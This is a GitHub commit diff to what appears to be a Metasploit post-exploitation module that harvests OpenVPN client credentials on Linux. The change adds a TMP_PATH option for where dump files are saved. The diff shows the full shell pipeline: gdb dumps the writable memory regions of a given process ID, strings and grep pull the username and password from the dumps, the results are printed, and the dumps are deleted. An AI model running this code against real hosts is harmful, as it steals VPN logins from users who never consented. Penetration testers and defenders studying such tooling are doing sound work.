Skip to content

Commit 0bce906

Browse files
committed
Changed path to save dump data
1 parent 467ae52 commit 0bce906

File tree

1 file changed

+9
-4
lines changed

1 file changed

+9
-4
lines changed

modules/post/linux/gather/openvpn_credentials.rb

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,8 @@ def initialize(info = {})
3434

3535
register_options(
3636
[
37-
OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.'])
37+
OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
38+
OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
3839
], self.class
3940
)
4041
end
@@ -43,6 +44,10 @@ def pid
4344
datastore['PID']
4445
end
4546

47+
def tmp_path
48+
datastore['TMP_PATH']
49+
end
50+
4651
def run
4752
user = cmd_exec('/usr/bin/whoami')
4853
print_good("Module running as \"#{user}\" user")
@@ -52,9 +57,9 @@ def run
5257
return
5358
end
5459

55-
cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done')
56-
strings = cmd_exec('/usr/bin/strings *.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk \'{print "User: "$1"\nPass: "$2}\'')
57-
cmd_exec('/bin/rm *.dump --force')
60+
cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done')
61+
strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
62+
cmd_exec("/bin/rm #{tmp_path}*.dump --force")
5863

5964
if strings.empty?
6065
print_error('No credentials. You can check if the PID is correct.')

0 commit comments

Comments
 (0)